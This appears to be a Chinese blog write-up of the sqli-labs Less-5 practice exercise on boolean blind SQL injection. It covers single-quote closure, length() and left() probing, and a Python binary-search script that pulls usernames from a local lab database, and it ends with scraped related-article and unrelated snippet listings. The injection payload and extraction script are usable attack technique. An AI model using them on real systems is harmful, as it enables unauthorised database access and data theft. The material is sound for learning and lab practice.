开始写SQL的题,单引号等特殊符号闭合漏洞比较简单,因此从Less-5开始写。

  布尔盲注是多种盲注的一种,这种盲注方法也比较好理解。但使用这种盲注有一个前提,就是网页会有回显,透过这个回显,我们可以通过判断,来获得所需的信息。

  以Less-5为例题,如图所示:

  加上id=1,会发现这样的回显,如图所示:

  然后利用Less-1~4的知识,发现这里的语句使用单引号闭合的,并且用联合查询语句会依然回显“You are in......”。因此,简单的联合查询语句是行不通的。

  由于存在单引号闭合漏洞,我们可以使用and并且结合相关的语句对数据库信息进行猜测。

  首先得得出数据库长度,利用length()函数,payload如下:

  然后这里发现该语句没有回显,如图所示:

  长度不为5,再通过多次尝试,爆出数据库名长度为8,如图所示:

  知道了库名长度后,再使用left()函数进行注入。先说一下left()函数,该函数有两个参数,第一参数是需要进行截取的字符串对象,第二个参数是该字符串从左到右的第几个字符。payload如下图所示:

  

  通过一个个的尝试,会发现当left(database(),1)='s'时,回显正常。因此数据库的第一个字符为s,接下来的数据如法炮制。

  当然,如果这样一个个的尝试,犹如大海捞针,因此我们通常使用脚本进行注入。这里使用了二分法,代码如下图所示:

# -*-coding:utf8-*-
import requests
url = "http://localhost:81/SQLI-LABS/sqli-labs-master/Less-5/?id=1%s"
payload = "' and ord(mid((select username from users limit 0,1),%s,1))>%s --+"
result =''
print "start to get the result: "
for i in range(1, 20):
max = 122 #z
min = 65 #A
while abs(max-min)>1:
mid = int((max+min)/2)
p = payload % (str(i), str(mid))
response = requests.get(url % p)
if response.content.find("You are in") != -1:
min = mid
else:
max = mid
result = result+chr(max)
print ("the result is %s" % result)

     需要注意的是,这里的%s是字符串占位符,代表一个字符串对象,可以放置不同的字符串。

  最终通过脚本获得flag。

WEB新手之布尔盲注的更多相关文章

  1. WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注

    1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...

  2. sqli-labs lesson5-6 布尔盲注 报错注入 延时注入

    LESSON 5: 典型的布尔盲注. 盲注:sql注入过程中,sql语句的执行结果不回显到前端,这个时候就只能用一些别的方法进行判断或者尝试,这个判断或者尝试就叫做盲注.盲注又分为:1.基于布尔SQL ...

  3. SQL注入之Sqli-labs系列第八篇(基于布尔盲注的注入)

    开始挑战第八关(Blind- Boolian- Single Quotes- String) 这关首先需要用到以下函数: 开始测试,使用测试语句,利用单引号进行闭合 猜解字段 union select ...

  4. 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注

    前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...

  5. sql布尔盲注和时间盲注的二分脚本

    布尔盲注: import requests url = "http://challenge-f0b629835417963e.sandbox.ctfhub.com:10080/" ...

  6. python dvwa布尔盲注自动化脚本(level=low)

    仅供学习代码参考 1#python dvwa布尔盲注自动化脚本 2 import requests 3 import string 4 import time 5 INIT_URL="htt ...

  7. sqli-labs less8-10(布尔盲注时间盲注)

    less-8 布尔盲注 首先利用?id=1' and 1=1 --+和?id=1' and 1=2 --+确定id的类型为单引号''包裹.然后进行盲注. 盲注思路: 破解当前数据库名: and len ...

  8. sqli-labs lesson 7-10 (文件导出,布尔盲注,延时注入)

    写在前面: 首先需要更改一下数据库用户的权限用于我们之后的操作. 首先在mysql命令行中用show variables like '%secure%';查看 secure-file-priv 当前的 ...

  9. 大哥带我走渗透ii--时间盲注,布尔盲注

    5/27 基于布尔的盲注 我连题目都看不懂555,先去补充一点知识.https://blog.csdn.net/weixin_40709439/article/details/81355856 返回的 ...

随机推荐

  1. Maven - Deploy war in Tomcat 7 & 8

    This article will explain on how to deploy a war fine in to Tomcat 7 through maven build. Note : I h ...

  2. cp & scp

    [cp & scp] Linux为我们提供了两个用于文件copy的命令,一个是cp,一个是scp,但是他们略有不同. cp   --- 主要是用于在同一台电脑上,在不同的目录之间来回copy文 ...

  3. S 导入公司数据

    导入公司数据,使用INSERT [Public] ConnectString=host="siebel://10.10.0.46:2321/HC_CRM/SMObjMgr_chs Conne ...

  4. 2015年传智播客JavaEE 第168期就业班视频教程 02-ERP简介

    其实ERP描述的是管理一个企业的整体的所有的资源.ERP是帮你管整个企业的运行.那它是管哪一类企业呢?比如说帮光线传媒.ERP更多是用在生产制造企业,这是最好的,其次的就是这种销售型企业,二道贩子那种 ...

  5. Django 1.10.2 模型数据库操作

    首先我的django 版本 >>> django.VERSION (1, 10, 2, u'final', 0) setting.py: DATABASES = { 'default ...

  6. 优化 resolv.conf

    DNS lookup 在把域名解析成 IP 过程中耽误了不少时间,尤其是访问比较复杂的网站的时候,比如某个页面包含多个 url,一次请求需要做多次 DNS 解析,并且从用户浏览器到 DNS serve ...

  7. Yii2 windows 安装步骤

    安装 Yii2 高级版应用 基础版可以看官方文档 今天安装了YII2高级版应用 写下步骤 留个记号,以备查询! 在 Windows 中,你首先需要下载并运行 Composer-Setup.exe 查看 ...

  8. VGGNet

    VGGNet 是牛津大学计算机视觉组(Visual Geometry Group)和 GoogleDeepMind 公司的研究员一起研发的的深度卷积神经网络. 在ImageNet大型视觉识别挑战 IL ...

  9. 报错提示:mysqli_fetch_array() expects parameter 1 to be mysqli_result, boolean given in..的处理方式

    PHP操作数据库的时候如果出现报错: mysqli_fetch_array() expects parameter 1 to be mysqli_result, boolean given in.. ...

  10. JAVA array,map 转 json 字符串

    public class User { private String username; private String password; public String getUsername() { ...